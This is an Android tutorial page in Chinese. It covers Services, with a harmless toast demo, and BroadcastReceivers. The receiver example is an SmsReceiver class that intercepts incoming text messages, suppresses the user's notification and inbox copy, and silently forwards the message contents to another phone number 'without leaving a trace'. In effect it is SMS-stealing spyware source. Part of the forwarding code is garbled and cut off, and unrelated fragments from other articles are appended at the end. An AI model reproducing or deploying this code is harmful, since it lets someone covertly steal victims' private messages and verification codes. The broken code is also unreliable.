編輯:關於Android編程
Service類似Activity,實際上就是一個沒有界面的Activity,而且默認不會隨著程序關閉而關閉。
開發人員自定義的服務類一般用來完成一些安全軟件的一些監聽功能,以及消息提示,流氓軟件的功能。
系統服務則是通過類似getSystemService()的方法來取得系統的一些服務管理類(XxxxManager),來調用系統處理好的功能完成自己需要的操作,例如:電話監聽,連接狀態的判斷等。
如果想自己編寫一個服務類,可以建立一個類,繼承Service,並覆寫相應的方法即可。
編寫好服務類後,還需要在AndroidManifest.xml中聲明這個Service。
package com.example.service;
import android.app.Service;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.widget.Toast;
//每隔3秒顯示下toast
public class TestService extends Service {
private Handler handler;
private boolean flag=true;
@Override
public IBinder onBind(Intent arg0) {
//綁定activity,一般不用,用了的話,則activity關閉,service也關閉
return null;
}
/**主線程
*
*/
@Override
public void onCreate() {
// TODO Auto-generated method stub
super.onCreate();
System.out.println("創建service");
//調用子線程
handler=new Handler(){
public void handleMessage(Message msg) {
Toast.makeText(TestService.this,"啟動了服務------------",Toast.LENGTH_LONG).show();
}
};
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
System.out.println("銷毀service-----------");
flag=false;//這是為了關閉死循環進程
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
//啟動服務時自動調用這個方法
Thread t=new Thread(){
public void run() {
while (flag) {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
handler.sendEmptyMessage(0);
}
}
};
t.start();
return super.onStartCommand(intent, flags, startId);
}
}
還可以通過系統服務來讀取手機的各種信息以及網絡連接狀態的信息。
廣播接收器在使用時的表現上與Service很像,都是一個沒有界面的組件,都是在後台自動運行,都可以通過Activity來啟動。
但Service只能通過其他組件來啟動,但BCR則是可以自動依據某些條件來啟動。
廣播分為兩種:普通廣播和有序廣播
編寫廣播時,也需要繼承一個類,類名是BroadCastReceiver。
同樣也需要在AndroidManifest.xml中聲明這個廣播組件。
如果想做自動執行的廣播,就必須在聲明廣播組件時加入
根據這種功能實現短信攔截操作,將用戶接收到的短信攔截,不發送短信通知,不保存到收件箱。
並將短信的相關信息打印到控制台中。
同時,還可以調用發送短信的功能,來將一段消息發送到其他手機,而且也不經過短信應用,不會留下痕跡。
package com.example.receiver;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
//實現攔截短信並發送給別人
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent in) {
//先判斷是否是因為接收短信進入廣播接收器
if (in.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//停止此廣播,讓後面的接收器無法收到信息
this.abortBroadcast();
//取得發過來的參數
Bundle b=in.getExtras();
if (b!=null) {
Object[] ops=(Object[])b.get("pdus");
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
//循環建立短信對象,並取得裡面的信息
for (int i = 0; i < ops.length; i++) {
SmsMessage msg=SmsMessage.createFromPdu((byte[])ops[i]);
//取得消息中的內容
String content=msg.getMessageBody();
//發送人信息
String sender=msg.getDisplayOriginatingAddress();//如果通訊錄有名字則發名字,沒得話顯示號碼
//發送時間
Date date=new Date(msg.getTimestampMillis());
String sendTime=sdf.format(date);
System.out.println("消息為:"+sender+"-->"+content+"-->"+sendTime);
SmsManager manager=SmsManager.getDefault();
List
for (int j = 0; j
manager.sendTextMessage("手機號", null, all.get(j),null,null);
}
}
}
}
else {
Toast.makeText(ctx, "接收到了廣播", Toast.LENGTH_SHORT).show();
}
}
}
配置權限和聲明
android:versionCode="1"
android:versionName="1.0" >
android:targetSdkVersion="17" />
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
android:name="com.example.interceptforwarding.MainActivity"
android:label="@string/app_name" >
下面貼一下 主要的代碼 詳細/************************************************************ * * Ease
一、閒話: Android原生的進度條可以根據不同的主題有不同的視覺效果,但任何一種主題下的進度條和應用程序的視覺配合起來都顯得格格不入,所以多數時候我們需要自定義Pro
遇到這麼個需求,先看圖: 其實是一個軟件的登錄界面,初始是第一個圖的樣子,當軟鍵盤彈出後變為第二個圖的樣子,因為登錄界面有用戶名、密碼、登錄按鈕,不這樣的
本文實例講述了android從系統圖庫中取圖片的實現方法。分享給大家供大家參考。具體如下:在自己應用中,從系統圖庫中取圖片,然後截取其中一部分,再返回到自己應用中。這是很